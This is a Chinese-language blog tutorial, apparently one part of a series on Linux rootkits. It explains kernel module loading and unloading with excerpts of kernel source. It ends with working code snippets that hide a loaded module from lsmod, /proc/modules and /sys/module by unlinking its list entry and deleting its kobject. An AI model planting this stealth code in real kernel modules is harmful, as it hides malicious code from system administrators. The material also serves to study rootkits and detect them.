Linux Rootkit之二:Linux模塊加載與信息隱藏

    LKM Rootkit是通過向系統中加載內核模塊實現的。模塊加載到系統後會增加一些可供系統探知其存在的信息,而這些信息正是Rootkit希望隱藏起來的。爲了明確Linux模塊向系統註冊的信息以及隱藏方法,首先研究一下Linux模塊加載的過程。

2.1 代碼示例

    在Linux系統下創建一個名爲rl_module.c的文件,填入如下內容:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/netdevice.h>
#include <linux/list.h>

MODULE_LICENSE("Dual BSD/GPL");

static int __init rl_init(void)
{
    printk("RL Module init!\n");
	return 0;
}

static void __exit rl_exit(void)
{
    printk("RL Module exit!\n");
}
module_init(rl_init);
module_exit(rl_exit);

        再創建一個Makefile文件,填入如下內容:

#
# Makefile for linux/drivers/platform/x86
# x86 Platform-Specific Drivers
#

MODULE_NAME = rootkit-linux

ifneq ($(KERNELRELEASE),)
obj-m := $(MODULE_NAME).o 
$(MODULE_NAME)-objs := rl_module.o
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
#KERNELDIR ?= /usr/src/linux
  PWD := $(shell pwd) 
default:
	 $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
endif
clean:
	rm *.o *.ko *.symvers *.order .*.cmd *.markers $(MODULE_NAME).mod.c .tmp_versions -rf

    執行make,會得到名爲rootkit-linux.ko的文件。

執行insmod命令加載模塊:

#insmod rootkit-linux.ko

dmesg命令查看內核信息,會找到“RLModule init!”使用sys文件系統或lsmod也會查到rootkit-linux模塊的信息:

使用rmmod命令可以卸載模塊:


2.2模塊加載流程

代碼示例中所描述的是實現在Linux下加載模塊的通常方法。這時出現幾個問題:使用insmodmodprobe命令加載模塊時Linux內核都做了哪些工作?模塊中用module_initmodule_exit註冊的函數是如何被調用的?要解答這些問題就需要了解Linux模塊加載的流程。

2.2.1module_init函數和module_exit

Linux模塊需要用module_init函數註冊模塊初始化函數,這個函數會在模塊加載時由系統調用;用module_exit函數註冊模塊卸載函數,這個函數會在模塊卸載時被調用。

include/linux/init.h中,module_initmodule_exit有兩個定義,一個在MODULE宏沒有定義時生效,一個MODULE宏被定義時生效。在模塊中MODULE宏會被定義,來看看這種情況下的定義:

296 /* Each module must use one module_init(). */
297 #define module_init(initfn)                 \
298     static inline initcall_t __inittest(void)       \
299     { return initfn; }                  \
300     int init_module(void) __attribute__((alias(#initfn)));
301 
302 /* This is only required if you want to be unloadable. */
303 #define module_exit(exitfn)                 \
304     static inline exitcall_t __exittest(void)       \
305     { return exitfn; }                  \
306     void cleanup_module(void) __attribute__((alias(#exitfn)));

可見module_initmodule_exit宏是將它們的入參函數分別重命名爲init_modulecleanup_module

代碼編譯完畢後生成的rootkit-linux.ko文件的格式是ELF。由於__init的作用,rl_init函數的代碼被放在.init.text中,__exit也會把rl_exit函數的代碼在.exit.text段中。

模塊編譯時MODPOST還會自動爲模塊生成一個.mod.c文件,並將其編譯進模塊中。看看rootkit-linux.mod.c的內容:

#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
	.name = KBUILD_MODNAME,
	.init = init_module,

#ifdef CONFIG_MODULE_UNLOAD
	.exit = cleanup_module,
#endif
	.arch = MODULE_ARCH_INIT,
};

static const struct modversion_info ____versions[]

__used
__attribute__((section("__versions"))) = {
	{ 0x53a8e63d, __VMLINUX_SYMBOL_STR(module_layout) },
	{ 0x703dfdb2, __VMLINUX_SYMBOL_STR(kobject_del) },
	{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },
};

static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";

MODULE_INFO(srcversion, "7442B95A1D1CA4E76F4EB51");

可見MODPOST會生成一個__this_module結構,其類型爲structmodule,其init成員指向init_moduleexit成員指向cleanup_module__this_module結構的代碼會被編譯到ELF文件中名爲“.gnu.linkonce.this_module”的段中。後續在分析模塊加載和卸載函數時我們會看到這個段的作用。

2.2.2模塊加載函數

Insmodmodprobe命令對應的內核函數是sys_init_module

3334 SYSCALL_DEFINE3(init_module, void __user *, umod,
3335         unsigned long, len, const char __user *, uargs)
3336 {
3337     int err;
3338     struct load_info info = { };   
3339     //檢查進程權能和內核設置是否允許加載模塊
3340     err = may_init_module();
3341     if (err)     
3342         return err;
3343 
3344     pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
3345            umod, len, uargs);
3346     //將模塊ELF文件copy到臨時鏡像info中
3347     err = copy_module_from_user(umod, len, &info);
3348     if (err)
3349         return err;
3350     //加載模塊
3351     return load_module(&info, uargs, 0);
3352 }

加載模塊的功能主要由load_module函數完成:

3200 static int load_module(struct load_info *info, const char __user *uargs,
3201                int flags)
3202 {
3203     struct module *mod;
3204     long err;
3205      //模塊簽名檢查
3206     err = module_sig_check(info);
3207     if (err)
3208         goto free_copy;
3209     //ELF文件頭格式檢查
3210     err = elf_header_check(info);
3211     if (err)
3212         goto free_copy;
3213     //爲ELF文件的各個section分配內存空間
3214     /* Figure out module layout, and allocate all the memory. */
3215     mod = layout_and_allocate(info, flags);  //mod中包含了模塊信息
3216     if (IS_ERR(mod)) {
3217         err = PTR_ERR(mod);
3218         goto free_copy;
3219     }
3220 
3221     /* Reserve our place in the list. */
3222     err = add_unformed_module(mod); //檢查是否有同名模塊已加載,如果沒有則將mod加入到鏈表中
3223     if (err)
3224         goto free_module;
3225 
3226 #ifdef CONFIG_MODULE_SIG
3227     mod->sig_ok = info->sig_ok;
3228     if (!mod->sig_ok) {
3229         printk_once(KERN_NOTICE
3230                 "%s: module verification failed: signature and/or"
3231                 " required key missing - tainting kernel\n",
3232                 mod->name);
3233         add_taint_module(mod, TAINT_FORCED_MODULE, LOCKDEP_STILL_OK);
3234     }
3235 #endif
3236 
3237     /* To avoid stressing percpu allocator, do this once we're unique. */
3238     err = alloc_module_percpu(mod, info); //申請每CPU類型的內存空間
3239     if (err)
3240         goto unlink_mod;
3241 
3242     /* Now module is in final location, initialize linked lists, etc. */
3243     err = module_unload_init(mod);  //初始化卸載模塊相關的成員變量
3244     if (err)
3245         goto unlink_mod;
3246 
3247     /* Now we've got everything in the final locations, we can
3248      * find optional sections. */
3249     find_module_sections(mod, info);  //初始化其它類型的字段
3250 
3251     err = check_module_license_and_versions(mod);  //檢查模塊的許可證和版本信息
3252     if (err)
3253         goto free_unload;
3254 
3255     /* Set up MODINFO_ATTR fields */
3256     setup_modinfo(mod, info);
3257 
3258     /* Fix up syms, so that st_value is a pointer to location. */
3259     err = simplify_symbols(mod, info);
3260     if (err < 0)
3261         goto free_modinfo;
3262     //地址重定位
3263     err = apply_relocations(mod, info);
3264     if (err < 0)
3265         goto free_modinfo;
3266 
3267     err = post_relocation(mod, info);
3268     if (err < 0)
3269         goto free_modinfo;
3270     //清除指令cache
3271     flush_module_icache(mod);
3272 
3273     /* Now copy in args */
3274     mod->args = strndup_user(uargs, ~0UL >> 1);
3275     if (IS_ERR(mod->args)) {
3276         err = PTR_ERR(mod->args);
3277         goto free_arch_cleanup;
3278     }
3279 
3280     dynamic_debug_setup(info->debug, info->num_debug);
3281 
3282     /* Finally it's fully formed, ready to start executing. */
3283     err = complete_formation(mod, info);  //進一步檢查導出符號
3284     if (err)
3285         goto ddebug_cleanup;
3286 
3287     /* Module is ready to execute: parsing args may do that. */
3288     err = parse_args(mod->name, mod->args, mod->kp, mod->num_kp,
3289              -32768, 32767, &ddebug_dyndbg_module_param_cb);
3290     if (err < 0)
3291         goto bug_cleanup;
3292 
3293     /* Link in to syfs. *///在sys系統中註冊模塊信息
3294     err = mod_sysfs_setup(mod, info, mod->kp, mod->num_kp);
3295     if (err < 0)
3296         goto bug_cleanup;
3297 
3298     /* Get rid of temporary copy. */
3299     free_copy(info);
3300 
3301     /* Done! */
3302     trace_module_load(mod);
3303 
3304     return do_init_module(mod);

這裏layout_and_allocate函數的功能十分重要,它返回了一個structmodule指針,這個指針包含了要加載的模塊的信息,包括名稱、初始化函數、卸載函數。layout_and_allocate是如何找到這些信息的呢?

2926 static struct module *layout_and_allocate(struct load_info *info, int flags)
2927 {
2928     /* Module within temporary copy. */
2929     struct module *mod;
2930     int err;
2931 
2932     mod = setup_load_info(info, flags);
...
2955     /* Allocate and move to the final place */
2956     err = move_module(mod, info);
2957     if (err)
2958         return ERR_PTR(err);
2959 
2960     /* Module has been copied to its final place now: return it. */
2961     mod = (void *)info->sechdrs[info->index.mod].sh_addr;
2962     kmemleak_load_module(mod, info);
2963     return mod;
2964 }

layout_and_allocate函數將info->sechdrs[info->index.mod].sh_addr強制轉換爲mod並返回。那麼info->sechdrs是什麼?info->index.mod是什麼?sh_addr代表什麼?來看setup_load_info函數:

2642 static struct module *setup_load_info(struct load_info *info, int flags)
2643 {
2644     unsigned int i;
2645     int err;
2646     struct module *mod;
2647 
2648     /* Set up the convenience variables */
2649     info->sechdrs = (void *)info->hdr + info->hdr->e_shoff;
2650     info->secstrings = (void *)info->hdr
2651         + info->sechdrs[info->hdr->e_shstrndx].sh_offset;
2652 
2653     err = rewrite_section_headers(info, flags);
…
2668     info->index.mod = find_sec(info, ".gnu.linkonce.this_module");
2669     if (!info->index.mod) {
2670         printk(KERN_WARNING "No module found in object\n");
2671         return ERR_PTR(-ENOEXEC);
2672     }
2673     /* This is temporary: point mod into copy of data. */
2674     mod = (void *)info->sechdrs[info->index.mod].sh_addr;
…
2688     return mod;
2689 }

代碼解析:

2649:info->hdrELF文件首地址,指向ELF文件頭信息;nfo->hdr->e_shoffELF的段表(section)在文件中的偏移;info->sechdrs執行的是ELFsection table的首地址。Sectiontable是一個結構體數組,描述了ELF各個section的信息。

2653rewrite_section_headers函數會重寫各個sectionsh_addr

2596 static int rewrite_section_headers(struct load_info *info, int flags)
2597 {
2598     unsigned int i;
2599 
2600     /* This should always be true, but let's be sure. */
2601     info->sechdrs[0].sh_addr = 0;
2602     //遍歷所有section
2603     for (i = 1; i < info->hdr->e_shnum; i++) {
2604         Elf_Shdr *shdr = &info->sechdrs[i]; //得到section頭
...
2612         /* Mark all sections sh_addr with their address in the
2613            temporary image. */  //將section內容的首地址賦給sh_addr
2614         shdr->sh_addr = (size_t)info->hdr + shdr->sh_offset;
…

回到setup_load_info函數。

2668:找到名爲".gnu.linkonce.this_module"section在段表結構體數組中的下標。

2674:使mod指針指向".gnu.linkonce.this_module"section的代碼首地址;這個section的代碼就是前面介紹的在編譯內核時由MODPOST生成的__this_module

結構的代碼,這樣mod就指向了這個__this_module結構,從而得到了模塊的名稱、初始化函數和卸載函數等信息。

setup_load_info函數返回的mod指針指向的是臨時鏡像,接下來還需要layout_and_allocate函數調用move_module函數將mod的信息轉移到永久鏡像中:

2796 static int move_module(struct module *mod, struct load_info *info)
2797 {
2798     int i;
2799     void *ptr;
2800 
2801     /* Do the allocs. */
2802     ptr = module_alloc_update_bounds(mod->core_size);
2803     /*
2804      * The pointer to this block is stored in the module structure
2805      * which is inside the block. Just mark it as not being a
2806      * leak.
2807      */
2808     kmemleak_not_leak(ptr);
2809     if (!ptr)
2810         return -ENOMEM;
2811 
2812     memset(ptr, 0, mod->core_size);
2813     mod->module_core = ptr;
2814 
2815     if (mod->init_size) {
2816         ptr = module_alloc_update_bounds(mod->init_size);
2817         /*
2818          * The pointer to this block is stored in the module structure
2819          * which is inside the block. This block doesn't need to be
2820          * scanned as it contains data and code that will be freed
2821          * after the module is initialized.
2822          */
2823         kmemleak_ignore(ptr);
2824         if (!ptr) {
2825             module_free(mod, mod->module_core);
2826             return -ENOMEM;
2827         }
2828         memset(ptr, 0, mod->init_size);
2829         mod->module_init = ptr;
2830     } else
2831         mod->module_init = NULL;
2832 
2833     /* Transfer each section which specifies SHF_ALLOC */
2834     pr_debug("final section addresses:\n");
2835     for (i = 0; i < info->hdr->e_shnum; i++) {
2836         void *dest;
2837         Elf_Shdr *shdr = &info->sechdrs[i];
2838 
2839         if (!(shdr->sh_flags & SHF_ALLOC))  //忽略不能申請內存的段
2840             continue;
2841 
2842         if (shdr->sh_entsize & INIT_OFFSET_MASK)  //.init段這個判斷爲真
2843             dest = mod->module_init
2844                 + (shdr->sh_entsize & ~INIT_OFFSET_MASK);
2845         else
2846             dest = mod->module_core + shdr->sh_entsize;
2847 
2848         if (shdr->sh_type != SHT_NOBITS)  //段在文件中有內容
2849             memcpy(dest, (void *)shdr->sh_addr, shdr->sh_size);  //將臨時鏡像中的內容copy到永久鏡像中
2850         /* Update sh_addr to point to copy in image. */
2851         shdr->sh_addr = (unsigned long)dest;  //更新段內容首地址
2852         pr_debug("\t0x%lx %s\n",
2853              (long)shdr->sh_addr, info->secstrings + shdr->sh_name);
2854     }
2855 
2856     return 0;
2857 }

move_module函數會建立兩端連續內存,將.init段的代碼copymod->module_init指向的內存中,其它段的代碼copymod->module_core指向的內存中。mod->module_init指向的內存在模塊加載完成後就會釋放。__this_module所對應的段也會被copy到永久鏡像中,其內容首地址會被傳遞給mod

最後do_init_module函數中會執行模塊初始化代碼:

3034 static int do_init_module(struct module *mod)
3035 {
3036     int ret = 0;
…
3061     if (mod->init != NULL)
3062         ret = do_one_initcall(mod->init);
…
3119     module_free(mod, mod->module_init);  //釋放mod->module_init執行的內存
3120     mod->module_init = NULL;
3121     mod->init_size = 0;
3122     mod->init_ro_size = 0;
3123     mod->init_text_size = 0;
3124     mutex_unlock(&module_mutex);
3125     wake_up_all(&module_wq);
3126 
3127     return 0;
3128 }

下面總結一下Linux模塊加載的主要過程:

1)將模塊的ELF文件copy到內核申請的臨時鏡像中;

2)建立一個structmodule結構體指針,指向模塊編譯時生成的__this_module結構體,這個結構體初始化了模塊初始化函數和卸載函數等成員;

3)將臨時鏡像中的各個段copy到永久鏡像中,永久鏡像的地址保存在structmodule結構體中;

4)將structmodule結構體加入到內核模塊鏈表中;

5)根據永久鏡像的起始地址和各個段的偏移重定向代碼段中的指針;

6)向sys文件系統註冊模塊信息;

7)釋放臨時鏡像;

8)執行模塊通過module_init函數註冊的初始化函數的代碼。

2.2.3模塊卸載函數

模塊卸載的命令rmmod對應內核的函數是sys_delete_module:

 823 SYSCALL_DEFINE2(delete_module, const char __user *, name_user,
 824         unsigned int, flags)
 825 {
 826     struct module *mod;
 827     char name[MODULE_NAME_LEN];
 828     int ret, forced = 0;
…
 840     mod = find_module(name);
 841     if (!mod) {
 842         ret = -ENOENT;
 843         goto out;
 844     }
 845 
 846     if (!list_empty(&mod->source_list)) {
 847         /* Other modules depend on us: get rid of them first. */
 848         ret = -EWOULDBLOCK;
 849         goto out;
 850     }
...
 883     mutex_unlock(&module_mutex);

 884     /* Final destruction now no one is using it. */
 885     if (mod->exit != NULL)
 886         mod->exit(); //調用模塊用module_exit註冊的卸載函數
 887     blocking_notifier_call_chain(&module_notify_list,
 888                      MODULE_STATE_GOING, mod);
 889     async_synchronize_full();
 890 
 891     /* Store the name of the last unloaded module for diagnostic purposes */
 892     strlcpy(last_unloaded_module, mod->name, sizeof(last_unloaded_module));
 893 
 894     free_module(mod);
 895     return 0;

        free_module函數:

1861 static void free_module(struct module *mod)
1862 {
1863     trace_module_free(mod);
1864 
1865     mod_sysfs_teardown(mod);   //註銷在sys文件系統中的信息
1866 
1867     /* We leave it in list to prevent duplicate loads, but make sure
1868      * that noone uses it while it's being deconstructed. */
1869     mod->state = MODULE_STATE_UNFORMED;
1870 
1871     /* Remove dynamic debug info */
1872     ddebug_remove_module(mod->name);
1873 
1874     /* Arch-specific cleanup. */
1875     module_arch_cleanup(mod);
1876 
1877     /* Module unload stuff */
1878     module_unload_free(mod);
1879 
1880     /* Free any allocated parameters. */
1881     destroy_params(mod->kp, mod->num_kp);
1882 
1883     /* Now we can delete it from the lists */
1884     mutex_lock(&module_mutex);
1885     stop_machine(__unlink_module, mod, NULL);  //將模塊從鏈表中摘除
1886     mutex_unlock(&module_mutex);
1887 
1888     /* This may be NULL, but that's OK */
1889     unset_module_init_ro_nx(mod);
1890     module_free(mod, mod->module_init);
1891     kfree(mod->args);
1892     percpu_modfree(mod);
1893 
1894     /* Free lock-classes: */
1895     lockdep_free_key_range(mod->module_core, mod->core_size);
1896 
1897     /* Finally, free the core (containing the module structure) */
1898     unset_module_core_ro_nx(mod);
1899     module_free(mod, mod->module_core);  //釋放內存
1900 
1901 #ifdef CONFIG_MPU
1902     update_protections(current->mm);
1903 #endif
1904 }

2.3模塊信息隱藏

2.3.1 THIS_MODULE

模塊要想隱藏自身的信息,必須能夠使用自己的structmodule數據結構。內核提供了THIS_MODULE宏來實現這一功能,看看這個宏的定義:

 32 #ifdef MODULE
 33 extern struct module __this_module;
 34 #define THIS_MODULE (&__this_module)

可見THIS_MODULE就是模塊的__this_module結構體的指針,這個指針的值與模塊對應的structmodule數據結構的值是一樣的。

2.3.2 lsmod信息隱藏

lsmod命令行的實現原理是讀取並整理/proc/modules的信息。而/proc/modules的信息來源是內核中保存模塊信息的鏈表。只要將模塊從這個鏈表中摘除就可以清除/proc/modules中對應的信息,lsmod也無法查詢到模塊。

參考模塊卸載的代碼,將下列片段加入模塊中:

 static int __init rl_init(void)
 {
...
     //對lsmod命令隱藏模塊名稱
    mutex_lock(&module_mutex);
    list_del_init(&THIS_MODULE->list)
    mutex_unlock(&module_mutex);
...
編譯、加載模塊、查詢模塊:


2.3.3sys系統信息隱藏

Sys文件系統比較複雜,這裏不做過多探討,但可以提供一種方法隱藏模塊的sys信息(可能不完善):

 static int __init rl_init(void)

 {
...
    //從/sys/module/目錄下隱藏模塊
#ifdef CONFIG_SYSFS
    kobject_del(&THIS_MODULE->mkobj.kobj);
#endif

<span style="font-size:14px;">...</span>
編譯後加載模塊,查詢sys/module目錄,會發現rootkit_linux目錄並不存在。

2.3.4 其它信息的隱藏

Linux Rootkit對特定文件以及進程信息的隱藏可以用系統調用劫持技術實現。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章